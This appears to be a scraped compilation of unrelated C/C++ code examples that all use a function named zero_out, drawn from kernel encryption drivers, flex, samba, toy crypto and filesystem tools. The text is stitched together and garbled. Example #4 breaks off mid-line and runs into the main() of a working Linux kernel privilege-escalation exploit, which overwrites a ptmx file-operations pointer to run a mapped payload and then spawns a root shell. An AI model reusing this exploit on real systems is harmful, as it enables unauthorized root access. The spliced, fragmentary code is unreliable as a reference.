Example #1
0
static int dek_on_user_removed(dek_arg_on_user_removed *evt) {
	int userid = evt->userid;
	int key_arr_idx = PERSONA_KEY_ARR_IDX(userid);

	/*
	 * TODO : lock needed
	 */

	if (!dek_is_persona(userid)) {
		DEK_LOGE("%s invalid userid %d\n", __func__, userid);
		return -EFAULT;
	}

	zero_out((char *)&SDPK_sym[key_arr_idx], sizeof(kek_t));
	zero_out((char *)&SDPK_Rpub[key_arr_idx], sizeof(kek_t));
	zero_out((char *)&SDPK_Rpri[key_arr_idx], sizeof(kek_t));
	zero_out((char *)&SDPK_Dpub[key_arr_idx], sizeof(kek_t));
	zero_out((char *)&SDPK_Dpri[key_arr_idx], sizeof(kek_t));

#if DEK_DEBUG
	dump_all_keys(key_arr_idx);
#endif

	dek_aes_key_free(sdp_tfm[key_arr_idx]);
	sdp_tfm[key_arr_idx] = NULL;

	return 0;
}
Example #2
0
static int dek_on_device_locked(dek_arg_on_device_locked *evt) {
	int userid = evt->userid;
	int key_arr_idx;

	if (!dek_is_persona(userid)) {
		DEK_LOGE("%s invalid userid %d\n", __func__, userid);
		return -EFAULT;
	}
	key_arr_idx = PERSONA_KEY_ARR_IDX(userid);

	dek_aes_key_free(sdp_tfm[key_arr_idx]);
	sdp_tfm[key_arr_idx] = NULL;

	zero_out((char *)&SDPK_sym[key_arr_idx], sizeof(kek_t));
	zero_out((char *)&SDPK_Rpri[key_arr_idx], sizeof(kek_t));
    zero_out((char *)&SDPK_Dpri[key_arr_idx], sizeof(kek_t));
    zero_out((char *)&SDPK_EDpri[key_arr_idx], sizeof(kek_t));

	ecryptfs_mm_drop_cache(userid);

#ifdef CONFIG_SDP_KEY_DUMP
    if(get_sdp_sysfs_key_dump()) {
        dump_all_keys(key_arr_idx);
    }
#endif

	return 0;
}
Example #3
0
/* inittbl - initialize transition tables
 *
 * Initializes "firstfree" to be one beyond the end of the table.  Initializes
 * all "chk" entries to be zero.
 */
void
inittbl(void)
{
    int i;

    zero_out((char *) chk, ((unsigned) current_max_xpairs * sizeof(int)));

    tblend = 0;
    firstfree = tblend + 1;
    numtemps = 0;

    if (usemecs) {
	/* Set up doubly-linked meta-equivalence classes; these
	 * are sets of equivalence classes which all have identical
	 * transitions out of TEMPLATES.
	 */

	tecbck[1] = NIL;

	for (i = 2; i <= numecs; ++i) {
	    tecbck[i] = i - 1;
	    tecfwd[i - 1] = i;
	}

	tecfwd[numecs] = NIL;
    }
}
Example #4
0
static int dek_encrypt_dek(int userid, dek_t *plainDek, dek_t *encDek) {
	int ret = 0;
	int key_arr_idx = PERSONA_KEY_ARR_IDX(userid);

	if (!dek_is_persona(userid)) {
		DEK_LOGE("%s invalid userid %d\n", __func__, userid);
		return -EFAULT;
	}
#if DEK_DEBUG
	DEK_LOGD("plainDek from user: "******"aes encrypt failed\n");
			dek_add_to_log(userid, "aes encrypt failed");
			encDek->len = 0;
		} else {
			encDek->len = plainDek->len;
			encDek->type = DEK_TYPE_AES_ENC;
		}
	} else {
#ifdef CONFIG_PUB_CRYPTO
		/*
		 * Do an asymmetric crypto
		 */
		if(SDPK_Dpub[key_arr_idx].len > 0) {
			ret = dh_encryptDEK(plainDek, encDek, &SDPK_Dpub[key_arr_idx]);
		}else{
			DEK_LOGE("SDPK_Dpub for id: %d\n", userid);
			dek_add_to_log(userid, "encrypt failed, no SDPK_Dpub");
			return -EIO;
		}
#else
		DEK_LOGE("pub crypto not supported : %d\n", userid);
		dek_add_to_log(userid, "encrypt failed, no key");
		return -EOPNOTSUPP;
#endif
	}

	if (encDek->len <= 0 || encDek->len > DEK_MAXLEN) {
		DEK_LOGE("dek_encrypt_dek, incorrect len=%d\n", encDek->len);
		zero_out((char *)encDek, sizeof(dek_t));
		return -EFAULT;
	}
#if DEK_DEBUG
	else {
		DEK_LOGD("encDek to user: ");
		dump(encDek->buf, encDek->len);
	}
#endif

	return ret;
}
int main(int argc, char** argv)
{
    long code, target;
    int pwn;

    /* Prepare payload... */
    printf("preparing payload buffer...\n");
    code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);
    memset((void*)code, 0x90, PAYLOADSIZE);
    code += PAYLOADSIZE - 1024;
    memcpy((void*)code, &kernel_payload, 1024);

    /*
     * Now clear the three most significant bytes of the fops pointer
     * to the release function.
     * This will make it point into the memory region mapped above.
     */
    printf("changing kernel pointer to point into controlled buffer...\n");
    target = PTMX_FOPS + FOPS_RELEASE_OFFSET;
    printf("%ld",target);
    zero_out(target + 7);
    zero_out(target + 6);
    zero_out(target + 5);

    /* ... and trigger. */
    printf("releasing file descriptor to call manipulated pointer in kernel mode...\n");
    pwn = open("/dev/ptmx", 'r');
    close(pwn);

    if (getuid() != 0) {
        printf("failed to get root :(\n");
        exit(EXIT_FAILURE);
    }

    printf("got root, enjoy :)\n");
    return execl("/bin/bash", "-sh", NULL);
}
Example #6
0
/* expand_nxt_chk - expand the next check arrays */
void
expand_nxt_chk(void)
{
    int old_max = current_max_xpairs;

    current_max_xpairs += MAX_XPAIRS_INCREMENT;

    ++num_reallocs;

    nxt = reallocate_integer_array(nxt, current_max_xpairs);
    chk = reallocate_integer_array(chk, current_max_xpairs);

    zero_out((char *) (chk + old_max),
	     (size_t) (MAX_XPAIRS_INCREMENT * sizeof(int)));
}
Example #7
0
void test_hash(){    
    #define message_size 8
	WORDSIZE message[message_size];
    WORDSIZE hash_result[8];
    unsigned long index;
    
    zero_out(message, message_size);
    clock_t begin = clock();
    for (index = 0; index < 3000000; index++){
        hash_function(message, message_size, hash_result);}
    clock_t end = clock();
    
    double time_spent = (double)(end - begin) / CLOCKS_PER_SEC;    
    printf("Time required: %.2fs\n", time_spent);
    printf("%lu%lu%lu%lu%lu%lu%lu%lu\n", hash_result[0], hash_result[1], hash_result[2], hash_result[3], hash_result[4], hash_result[5], hash_result[6], hash_result[7]);}
Example #8
0
void public_key_encrypt(unsigned char* message, unsigned long message_size,
                        unsigned long* output, unsigned long* public_key){     
    unsigned char key_bytes[message_size * CIPHERTEXT_COUNT], count, key_byte, _key_byte;
    unsigned long index, ciphertext_byte[4];    
    get_random_bytes(message_size * CIPHERTEXT_COUNT, key_bytes);
        
    for (index = 0; index < message_size; index++){
        zero_out(ciphertext_byte);        
        _key_byte = 0;
                
        for (count = 0; count < CIPHERTEXT_COUNT; count++){
            key_byte = key_bytes[(index * 16) + count];
            _key_byte ^= key_byte;
            xor(ciphertext_byte, public_key, key_byte);}     
                    
        _key_byte ^= message[index];        
        xor(ciphertext_byte, public_key, _key_byte);
        store(output, ciphertext_byte);}}   
Example #9
0
void hash_function(WORDSIZE* hash_input, WORDSIZE input_length, WORDSIZE* output){
    WORDSIZE state[16] __attribute__((aligned(16)));
    unsigned long index, block_number, number_of_blocks;
    
    zero_out(state, 16);
                
    number_of_blocks = input_length / 8;      
    for (block_number = 0; block_number < number_of_blocks; block_number++){
        for (index = 0; index < 8; index++){
            state[index] ^= hash_input[(block_number * 8) + index] ^ block_number;}
        permutation(state);}
    
    block_number += 1;    
    for (index = 0; index < input_length % 8; index++){
        state[index] ^= hash_input[(block_number * 8) + index] ^ 0xFFFFFFFF ^ block_number;}
    permutation(state);        
        
    for (index = 0; index < 8; index++){
        output[index] = state[index];}}
Example #10
0
void hash_function(WORDSIZE* hash_input, WORDSIZE input_length, WORDSIZE* output){
    WORDSIZE state[16] __attribute__((aligned(16)));
    unsigned long index, block_number = 0, number_of_blocks;
    
    zero_out(state, 16);
                
    number_of_blocks = input_length / 8;      
    if (input_length % 8 == 0){
        if (number_of_blocks >= 1){
            number_of_blocks -= 1;}}
    if (number_of_blocks > 0){        
        for (block_number = 0; block_number < number_of_blocks; block_number++){                                   
            absorb(state, hash_input, 8, (block_number * 8), block_number);}}
        
    int amount = input_length % 8;
    if (amount == 0){
        amount = 8;}
    
    absorb(state, hash_input, amount, (block_number * 8), (0xFFFFFFFF ^ block_number));    
    copy(output, state, 8, 0, 0);}
        linear_regression::linear_regression(op_ptr X, op_ptr Y, bool degenerate, bool dropout){
            m_X = X;
            m_Y = Y;

            if(dropout)
                X = m_noiser = zero_out(X, 0.5f);

            determine_shapes(*Y);
            determine_shapes(*X);

            if(!degenerate) {
                m_W = input(cuv::extents[X->result()->shape[1]][Y->result()->shape[1]]);
                m_bias = input(cuv::extents[Y->result()->shape[1]]);
                m_estimator = mat_plus_vec(prod(X, m_W), m_bias, 1);
            }
            else
                m_estimator = X;

            m_loss = mean(sum_to_vec(square(m_estimator-Y), 0));
        }
Example #12
0
File: hash.c Project: Arkhont/samba
/* We slot in anywhere that's empty in the chain. */
static enum TDB_ERROR COLD add_to_chain(struct tdb_context *tdb,
					tdb_off_t subhash,
					tdb_off_t new_off)
{
	tdb_off_t entry;
	enum TDB_ERROR ecode;

	entry = tdb_find_zero_off(tdb, subhash, 1<<TDB_HASH_GROUP_BITS);
	if (TDB_OFF_IS_ERR(entry)) {
		return entry;
	}

	if (entry == 1 << TDB_HASH_GROUP_BITS) {
		tdb_off_t next;

		next = tdb_read_off(tdb, subhash
				    + offsetof(struct tdb_chain, next));
		if (TDB_OFF_IS_ERR(next)) {
			return next;
		}

		if (!next) {
			next = alloc(tdb, 0, sizeof(struct tdb_chain), 0,
				     TDB_CHAIN_MAGIC, false);
			if (TDB_OFF_IS_ERR(next))
				return next;
			ecode = zero_out(tdb,
					 next+sizeof(struct tdb_used_record),
					 sizeof(struct tdb_chain));
			if (ecode != TDB_SUCCESS) {
				return ecode;
			}
			ecode = tdb_write_off(tdb, subhash
					      + offsetof(struct tdb_chain,
							 next),
					      next);
			if (ecode != TDB_SUCCESS) {
				return ecode;
			}
		}
Example #13
0
int dek_generate_dek(int userid, dek_t *newDek) {
	if (!dek_is_persona(userid)) {
		DEK_LOGE("%s invalid userid %d\n", __func__, userid);
		return -EFAULT;
	}

	newDek->len = DEK_LEN;
	get_random_bytes(newDek->buf, newDek->len);

	if (newDek->len <= 0 || newDek->len > DEK_LEN) {
		zero_out((char *)newDek, sizeof(dek_t));
		return -EFAULT;
	}
#if DEK_DEBUG
	else {
		DEK_LOGD("DEK: ");
		dek_dump(newDek->buf, newDek->len);
	}
#endif

	return 0;
}
Example #14
0
int main(int argc, char* argv[]){
	if(argc != 3){
		usage(argv[0]);
		return -1;
	}
	FILE *f;
	if(!(f = fopen(argv[1],"r"))){
		printf("Error opening file:%s\n",argv[1]);
		return -1;
	}
	fclose(f);
	if(!(f = fopen(argv[2],"r"))){
		printf("Error opening file:%s\n",argv[2]);
	}
	char *buf = malloc(get_end(argv[1]));
	printf("Reading file to buf\n");
	if(!(read_buf(buf,argv[1]))){
		printf("Error reading to buffer!\n");
		return -1;
	}
	printf("Erasing %s\n",argv[1]);
	if(!(zero_out(argv[1]))){
		printf("Error erasing %s\n",argv[1]);
	}
	printf("Rewriting\n");
	if(!(write_buf(buf,argv[1]))){
		printf("Error restoring %s\n",argv[1]);
	}
	printf("freeing memory\n");
	free(buf);
	printf("Reading buffer\n");
	buf = malloc(get_end(argv[1]));
	read_buf(buf,argv[1]);
	printf("Parsing superblock\n");
	struct zfs_superblock *sblk = malloc(sizeof(struct zfs_superblock *));
	parse_superblock(argv[1],sblk);
	if(!(sblk))
		return -1;
	printf("Dumping: [allocblk] %d [unallocblk] %d [tblk]   %d\n         [dataresv] %d [rootfsblk]  %d [numoff] %d\n         [numofd]   %d [fds]        %d\n",sblk->allocblk,sblk->unallocblk,sblk->tblk,sblk->dataresv,sblk->rootfsblk,sblk->numoff,sblk->numofd,sblk->fds);
	printf("Finding datablock\n");
	int db = find_datablk(*sblk,argv[1]);
	if(db < 0){
		printf("Error finding datablock!\n");
		return -1;
	}
	printf("freeing buffer\n");
	free(buf);
	printf("Allocating memory\n");
	buf = malloc(get_end(argv[2]));
	if(!(buf)){
		printf("Error allocating %d bytes of memory!\n",get_end(argv[2]));
	}
	printf("Reading buffer\n");
	if(!(read_buf(buf,argv[2]))){
		printf("Error reading buffer!\n");
		return -1;;
	}
	printf("Parsing file\n");
	struct data *d = parse_file(buf,argv[1],argv[2]);
	if(!(d)){
		printf("Error parsing file!\n");
		return -1;
	}
	printf("Dumping: [alloc]           %d   [islongname]   %d   [namelen]   %d   [name]     %s\n         [type]            %d   [offset]       %d   [endingpos] %d   [blockpos] %d\n         [startingblock]   %d   [endingblock]  %d\n"
	,d->alloc,d->islongname,d->namelen,d->name,d->type,d->offset,d->endingpos,d->blockpos,d->startingblock,d->endingblock);
	printf("Writing datablock\n");
	if(!(write_datablk(*sblk,d,argv[1],db))){
		printf("Error writing datablock!\n");
		return -1;
	}
}
Example #15
0
int mkfs_minfs(struct minfs_superblock *sblk,struct inode *inode,char *output){
	zero_out(output);
	FILE *f = fopen(output,"wb");
	if(!(f))
		return -1;
//	zero_out(output);
	fseek(f,1024,SEEK_SET);
	//char blksz[] = {sblk->blocksize / 100,sblk->blocksize % 100};
	//fputc(sblk->blocksize,f);
	printf("Writing superblock\n");
	char blksz = (sblk->blocksize >> 16);
	char blksz1 = sblk->blocksize >> 8;
	printf("Writing block size\n");
	fputc(blksz,f);
	fputc(blksz1,f);
	//fputc(blksz1,f);
	printf("Writing block information\n");
	fputc(sblk->starting_block,f);
	fputc(sblk->starting_inode,f);
	/*printf("Writing file information\n");
	fputc(sblk->numoffiles,f);
	fputc(sblk->numofdirs,f);
	printf("Writing files\n");
	int i = 0;
	while(i < sblk->numoffiles){
		fprintf(f,"%s",sblk->filenames[i]);
		fputc(sblk->fpntrs[i],f);
		fputc(TERMINATE,f);
		i++;
	}
	i = 0;
	printf("Writing directories\n");
	while(i < sblk->numofdirs){
		fprintf(f,"%s",sblk->dirnames[i]);
		fputc(sblk->dpntrs[i],f);
		fputc(TERMINATE,f);
		i++;
	}*/
//	printf("Writing misc block\n");
	//fputc(SUPERBLKTERMINATE,f);
	//fprintf(f,"%s",
//	fputc(0,f);
//	fputc(0,f);
//	fputc(5,f);
	/*fputc(blksz[0],f);
	fputc(blksz[1],f);
	if(sblk->starting_block < 10){
		fputc(0,f);
		fputc(0,f);
		fputc(sblk->starting_block,f);
		//fputc(0,f);
		//fputc(0,f);
	}
	else if(sblk->starting_block < 100){
		fputc(0,f);
		fputc(sblk->starting_block / 10,f);
		fputc(sblk->starting_block % 10,f);
		//fputc(0,f);
	}
	else if(sblk->starting_block < 1000){
		fputc(sblk->starting_block / 100,f);
		fputc((sblk->starting_block % 100) / 10,f);
		fputc(sblk->starting_block % 10,f);
	}
	else{
		printf("Starting Block too large!\n");
		return -1;
	}
	if(sblk->starting_inode < 10){
		fputc(0,f);
		fputc(0,f);
		fputc(sblk->starting_inode,f);
		//fputc(0,f);
		//fputc(0,f);
	}
	else if(sblk->starting_inode < 100){
		fputc(0,f);
		fputc(sblk->starting_inode /10,f);
		fputc(sblk->starting_inode %10,f);
		//fputc(0,f);
	}
	else if(sblk->starting_inode < 1000){
		fputc(sblk->starting_inode / 100,f);
		fputc((sblk->starting_inode % 100) / 10,f);
		fputc(sblk->starting_block % 10,f);
	}
	else{
		printf("Starting inode too large!\n");
		return -1;
	}*/
	fseek(f,2048,SEEK_SET);
	printf("Writing rootfs block\n");
	fputc(0x42,f);
	fputc(0x69,f);
	fputc(0x04,f);	
	fputc(0x00,f);
	fputc(0x00,f);
	fputc(5,f);
	fseek(f,2560,SEEK_SET);
	printf("Writing info block\n");
	fputc(0x42,f);
	fputc(0x69,f);
	fputc(0x01,f);
	fputc(0x00,f);
	fputc(0x01,f);
	fputc('/',f);
	fputc(0x00,f);
	printf("Writing misc block\n");
	fseek(f,5120,SEEK_SET);
	fputc(0,f);
	fputc(0,f);
	fputc(1,f);
	fputc(0,f);
	fputc(0,f);
	fputc(0,f);
	fputc(0,f);
	fputc(0,f);
	fputc(0x04,f);
	fputc(0,f);
	fputc(0x20,f);
	fputc(0xFF,f);
	fputc('/',f);
	fputc(0x20,f);
	fputc(0xFF,f);

	fclose(f);
}
Example #16
0
static long dek_do_ioctl_req(unsigned int minor, unsigned int cmd,
		unsigned long arg) {
	long ret = 0;
	void __user *ubuf = (void __user *)arg;

	switch (cmd) {
    case DEK_IS_KEK_AVAIL: {
        dek_arg_is_kek_avail req;

        DEK_LOGD("DEK_IS_KEK_AVAIL\n");

        memset(&req, 0, sizeof(dek_arg_is_kek_avail));
        if(copy_from_user(&req, ubuf, sizeof(req))) {
            DEK_LOGE("can't copy from user\n");
            ret = -EFAULT;
            goto err;
        }

        req.ret = is_kek_available(req.userid, req.kek_type);
        if(req.ret < 0) {
            DEK_LOGE("is_kek_available(id:%d, kek:%d) error\n",
                    req.userid, req.kek_type);
            ret = -ENOENT;
            goto err;
        }

        if(copy_to_user(ubuf, &req, sizeof(req))) {
            DEK_LOGE("can't copy to user req\n");
            zero_out((char *)&req, sizeof(dek_arg_is_kek_avail));
            ret = -EFAULT;
            goto err;
        }

        ret = 0;
    }
    break;
	/*
	 * Request to generate DEK.
	 * Generate DEK and return to the user
	 */
	case DEK_GENERATE_DEK: {
		dek_arg_generate_dek req;

		DEK_LOGD("DEK_GENERATE_DEK\n");

		memset(&req, 0, sizeof(dek_arg_generate_dek));
		if(copy_from_user(&req, ubuf, sizeof(req))) {
			DEK_LOGE("can't copy from user req\n");
			ret = -EFAULT;
			goto err;
		}
		dek_generate_dek(req.userid, &req.dek);
		if(copy_to_user(ubuf, &req, sizeof(req))) {
			DEK_LOGE("can't copy to user req\n");
			zero_out((char *)&req, sizeof(dek_arg_generate_dek));
			ret = -EFAULT;
			goto err;
		}
		zero_out((char *)&req, sizeof(dek_arg_generate_dek));
		break;
	}
	/*
	 * Request to encrypt given DEK.
	 *
	 * encrypt dek and return to the user
	 */
	case DEK_ENCRYPT_DEK: {
		dek_arg_encrypt_dek req;

		DEK_LOGD("DEK_ENCRYPT_DEK\n");

		memset(&req, 0, sizeof(dek_arg_encrypt_dek));
		if(copy_from_user(&req, ubuf, sizeof(req))) {
			DEK_LOGE("can't copy from user req\n");
			zero_out((char *)&req, sizeof(dek_arg_encrypt_dek));
			ret = -EFAULT;
			goto err;
		}
		ret = dek_encrypt_dek(req.userid,
				&req.plain_dek, &req.enc_dek);
		if (ret < 0) {
			zero_out((char *)&req, sizeof(dek_arg_encrypt_dek));
			goto err;
		}
		if(copy_to_user(ubuf, &req, sizeof(req))) {
			DEK_LOGE("can't copy to user req\n");
			zero_out((char *)&req, sizeof(dek_arg_encrypt_dek));
			ret = -EFAULT;
			goto err;
		}
		zero_out((char *)&req, sizeof(dek_arg_encrypt_dek));
		break;
	}
	/*
	 * Request to decrypt given DEK.
	 *
	 * Decrypt dek and return to the user.
	 * When device is locked, private key is not available, so
	 * the driver must return EPERM or some kind of error.
	 */
	case DEK_DECRYPT_DEK: {
		dek_arg_decrypt_dek req;

		DEK_LOGD("DEK_DECRYPT_DEK\n");

		memset(&req, 0, sizeof(dek_arg_decrypt_dek));
		if(copy_from_user(&req, ubuf, sizeof(req))) {
			DEK_LOGE("can't copy from user req\n");
			zero_out((char *)&req, sizeof(dek_arg_decrypt_dek));
			ret = -EFAULT;
			goto err;
		}
		ret = dek_decrypt_dek(req.userid,
				&req.enc_dek, &req.plain_dek);
		if (ret < 0) {
			zero_out((char *)&req, sizeof(dek_arg_decrypt_dek));
			goto err;
		}
		if(copy_to_user(ubuf, &req, sizeof(req))) {
			DEK_LOGE("can't copy to user req\n");
			zero_out((char *)&req, sizeof(dek_arg_decrypt_dek));
			ret = -EFAULT;
			goto err;
		}
		zero_out((char *)&req, sizeof(dek_arg_decrypt_dek));
		break;
	}

	default:
		DEK_LOGE("%s case default\n", __func__);
		ret = -EINVAL;
		break;
	}

	return ret;
err:
	return ret;
}
Example #17
0
static long dek_do_ioctl_evt(unsigned int minor, unsigned int cmd,
		unsigned long arg) {
	long ret = 0;
	void __user *ubuf = (void __user *)arg;
	void *cleanup = NULL;
	unsigned int size;

	switch (cmd) {
	/*
	 * Event while booting.
	 *
	 * This event comes per persona, the driver is responsible to
	 * verify things good whether it's compromised.
	 */
	case DEK_ON_BOOT: {
		dek_arg_on_boot *evt = kzalloc(sizeof(dek_arg_on_boot), GFP_KERNEL);
		
		DEK_LOGD("DEK_ON_BOOT\n");

		if (evt == NULL) {
			ret = -ENOMEM;
			goto err;
		}		
		cleanup = evt;
		size = sizeof(dek_arg_on_boot);

		if(copy_from_user(evt, ubuf, size)) {
			DEK_LOGE("can't copy from user evt\n");
			ret = -EFAULT;
			goto err;
		}
		ret = dek_on_boot(evt);
		if (ret < 0) {
			dek_add_to_log(evt->userid, "Boot failed");
			goto err;
		}
		dek_add_to_log(evt->userid, "Booted");
		break;
	}
	/*
	 * Event when device is locked.
	 *
	 * Nullify private key which prevents decryption.
	 */
	case DEK_ON_DEVICE_LOCKED: {
		dek_arg_on_device_locked *evt = kzalloc(sizeof(dek_arg_on_device_locked), GFP_KERNEL);
		
		DEK_LOGD("DEK_ON_DEVICE_LOCKED\n");
		if (evt == NULL) {
			ret = -ENOMEM;
			goto err;
		}		
		cleanup = evt;
		size = sizeof(dek_arg_on_device_locked);

		if(copy_from_user(evt, ubuf, size)) {
			DEK_LOGE("can't copy from user evt\n");
			ret = -EFAULT;
			goto err;
		}
		ret = dek_on_device_locked(evt);
		if (ret < 0) {
			dek_add_to_log(evt->userid, "Lock failed");
			goto err;
		}
		dek_add_to_log(evt->userid, "Locked");
		break;
	}
	/*
	 * Event when device unlocked.
	 *
	 * Read private key and decrypt with user password.
	 */
	case DEK_ON_DEVICE_UNLOCKED: {
		dek_arg_on_device_unlocked *evt = kzalloc(sizeof(dek_arg_on_device_unlocked), GFP_KERNEL);

		DEK_LOGD("DEK_ON_DEVICE_UNLOCKED\n");
		if (evt == NULL) {
			ret = -ENOMEM;
			goto err;
		}		
		cleanup = evt;
		size = sizeof(dek_arg_on_device_unlocked);

		if(copy_from_user(evt, ubuf, size)) {
			DEK_LOGE("can't copy from user evt\n");
			ret = -EFAULT;
			goto err;
		}
		ret = dek_on_device_unlocked(evt);
		if (ret < 0) {
			dek_add_to_log(evt->userid, "Unlock failed");
			goto err;
		}
		dek_add_to_log(evt->userid, "Unlocked");
		break;
	}
	/*
	 * Event when new user(persona) added.
	 *
	 * Generate RSA public key and encrypt private key with given
	 * password. Also pub-key and encryped priv-key have to be stored
	 * in a file system.
	 */
	case DEK_ON_USER_ADDED: {
		dek_arg_on_user_added *evt = kzalloc(sizeof(dek_arg_on_user_added), GFP_KERNEL);

		DEK_LOGD("DEK_ON_USER_ADDED\n");
		if (evt == NULL) {
			ret = -ENOMEM;
			goto err;
		}		
		cleanup = evt;
		size = sizeof(dek_arg_on_user_added);

		if(copy_from_user(evt, ubuf, size)) {
			DEK_LOGE("can't copy from user evt\n");
			ret = -EFAULT;
			goto err;
		}
		ret = dek_on_user_added(evt);
		if (ret < 0) {
			dek_add_to_log(evt->userid, "Add user failed");
			goto err;
		}
		dek_add_to_log(evt->userid, "Added user");
		break;
	}
	/*
	 * Event when user is removed.
	 *
	 * Remove pub-key file & encrypted priv-key file.
	 */
	case DEK_ON_USER_REMOVED: {
		dek_arg_on_user_removed *evt = kzalloc(sizeof(dek_arg_on_user_removed), GFP_KERNEL);
		
		DEK_LOGD("DEK_ON_USER_REMOVED\n");
		if (evt == NULL) {
			ret = -ENOMEM;
			goto err;
		}		
		cleanup = evt;
		size = sizeof(dek_arg_on_user_removed);

		if(copy_from_user(evt, ubuf, size)) {
			DEK_LOGE("can't copy from user evt\n");
			ret = -EFAULT;
			goto err;
		}
		ret = dek_on_user_removed(evt);
		if (ret < 0) {
			dek_add_to_log(evt->userid, "Remove user failed");
			goto err;
		}
		dek_add_to_log(evt->userid, "Removed user");
		break;
	}
	/*
	 * Event when password changed.
	 *
	 * Encrypt SDPK_Rpri with new password and store it.
	 */
	case DEK_ON_CHANGE_PASSWORD: {
		DEK_LOGD("DEK_ON_CHANGE_PASSWORD << deprecated. SKIP\n");
		ret = 0;
		dek_add_to_log(0, "Changed password << deprecated");
		break;
	}

	case DEK_DISK_CACHE_CLEANUP: {
		dek_arg_disk_cache_cleanup *evt = kzalloc(sizeof(dek_arg_disk_cache_cleanup), GFP_KERNEL);

		DEK_LOGD("DEK_DISK_CACHE_CLEANUP\n");
		if (evt == NULL) {
			ret = -ENOMEM;
			goto err;
		}
		cleanup = evt;
		size = sizeof(dek_arg_on_user_removed);

		if(copy_from_user(evt, ubuf, size)) {
			DEK_LOGE("can't copy from user evt\n");
			ret = -EFAULT;
			goto err;
		}
		if (!dek_is_persona(evt->userid)) {
			DEK_LOGE("%s invalid userid %d\n", __func__, evt->userid);
			ret = -EFAULT;
			goto err;
		}

		ecryptfs_mm_drop_cache(evt->userid);
		ret = 0;
		dek_add_to_log(evt->userid, "Disk cache clean up");
		break;
	}
	default:
		DEK_LOGE("%s case default\n", __func__);
		ret = -EINVAL;
		break;
	}

err:
	if (cleanup) {
		zero_out((char *)cleanup, size);
		kfree(cleanup);
	}
	return ret;
}
Example #18
0
     void main1_()
#endif
{
  
  /*
    for  xpress.com
    */
  
static Integer IZERO = (Integer) 0;
  Integer index, icounter;
  
  Integer n, ii, me, indx, k, i, neleZ, neleA;
  Integer *mapA, mapB[1], *mapZ;
  Integer *iscratch;
  DoublePrecision **iptr;
  DoublePrecision *dd, *ee;
  Integer rsize, ptr_size;
  Integer nprocs, isize;
  Integer info, m;
  
  DoublePrecision *scratch, *eval, *dptr;
  DoublePrecision *matrixA, *matrixZ;
  DoublePrecision **vecA, **vecZ;
  DoublePrecision res, t_com;

#ifdef TIMING
  static Integer IONE = (Integer) 1;
  DoublePrecision time1, time2, timex;
  extern TIMINGG test_timing;
#endif
  
  extern void tim_com();
  extern void mxend_();
  extern void mxinit_(), mxtime_();
  extern DoublePrecision mxclock_(); 
  extern void mxpara_();
  extern Integer mxnprc_();
  extern Integer mxmynd_();
  
  extern void memreq_();
  
  extern Integer ci_size_();
  extern DoublePrecision dasum_();

  extern void pdspev();
  extern void tresid(), ortho();

  mxinit_();
  me = mxmynd_();
  nprocs = mxnprc_();
  
#ifdef TIMING
  test_timing.choleski = 0.0e0;
  test_timing.inverse  = 0.0e0;
  test_timing.conjug  = 0.0e0;
  test_timing.householder  = 0.0e0;
  test_timing.pstebz  = 0.0e0;
  test_timing.pstein  = 0.0e0;
  test_timing.mxm5x  = 0.0e0;
  test_timing.mxm25  = 0.0e0;
  test_timing.pdspevx  = 0.0e0;
  test_timing.pdspgvx  = 0.0e0;
#endif

  /*
    while (1) {
  */
  
  icounter = 20;
  m = 20;
  while(1) {
    n = 2*icounter + 1;
    
    nprocs = mxnprc_();
    printf(" n = %d nprocs = %d \n", n, nprocs);
  
  if ((dd = (DoublePrecision *) malloc( n * sizeof(DoublePrecision))) == NULL ) {
    fprintf(stderr, " me = %d: ERROR in memory allocation, not enough memory for dd %d \n", me, n  );
    exit(-1);
  }

  if ((ee = (DoublePrecision *) malloc( n * sizeof(DoublePrecision))) == NULL ) {
    fprintf(stderr, " me = %d: ERROR in memory allocation, not enough memory for ee %d \n", me, n  );
    exit(-1);
  }

  if ((mapA = (Integer *) malloc( n * sizeof(Integer))) == NULL ) {
    fprintf(stderr, " me = %d: ERROR in memory allocation, not enough memory for mapA %d \n", me, n  );
    exit(-1);
  }

  if ((mapZ = (Integer *) malloc( n * sizeof(Integer))) == NULL ) {
    fprintf(stderr, " ERROR in memory allocation, not enough memory for mapZ \n");
    exit(-1);
  }
  
  /*
     set the column mapping of processors
     */
  
  for ( ii = 0;  ii < n; ii++ ) {
    indx = ( ii % nprocs);
    mapA[ii] = indx;
  }
  
  for ( ii = 0 ;  ii < n; ii++ ) {
    indx = ( ii % nprocs);
    mapZ[ii] = indx;
  }
  
  
  /*
     for symmetric matrix with this data distribution
     */

  
  ii = ci_size_( &me, &n, mapA );
  neleA = ii;
  if ( ii > 0 ) {
    if ( (matrixA = (DoublePrecision *) malloc( ii * sizeof(DoublePrecision))) == NULL ) {
      fprintf(stderr, " me %d ERROR in memory allocation, not enough memory for matrixA memory size = %d \n", me, ii);
      exit(-1);
    }
  }
  
  ii = countlist ( me, mapA, &n );
  if ( ii > 0 ) {
    if ( ( vecA = ( DoublePrecision ** ) malloc ( ii * sizeof(DoublePrecision *))) == NULL ) {
      fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for vecA %d \n", me, ii );
      exit(-1);
    }
  }
  else {
    if ( ( vecA = ( DoublePrecision ** ) malloc ( n * sizeof(DoublePrecision *))) == NULL ) {
      fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for vecA %d \n", me, n );
      exit(-1);
    }
  }
  
  i = 0;
  dptr = matrixA;
  for ( indx = 0; indx < n; indx++ ) {
    if ( mapA[indx] == me ) {
      vecA[i] = dptr;
      i++;
      dptr += ( n - indx);
    }
  }
  
  /*
    wilkinson's matrix
    */
  
  ee[0] = 0.e0;
  for ( indx = 1; indx < n; indx++)
    ee[indx] = 1.0e0;
  
  /*
    ee[indx] = 1.e0;
    */
  
  i = 0;
  for ( indx = 0; indx < m; indx++){
    dd[indx] = (DoublePrecision) ( m-indx );
    if ( mapA[indx] == me ){
      vecA[i][0] = (DoublePrecision) ( m-indx );
      vecA[i][1] = 1.;
      i++;
    }
  }
  dd[m] = 0.e0;
  if ( mapA[m] == me ) {
    vecA[i][0] = 0.;
    vecA[i][1] = 1.;
    i++;
  }
  for ( indx = m+1; indx < n; indx++){
    dd[indx] = (DoublePrecision) indx-m;
    if ( mapA[indx] == me ){
      vecA[i][0] = (DoublePrecision) indx-m;
      if ( indx != n-1)
	vecA[i][1] = 1;
      i++;
    }
  }

  /*
    use the utility routine count_list to determine the number of columns of Z that are stored
    on this processor using the cve distribution
    */
  
  ii = countlist ( me, mapZ, &n );
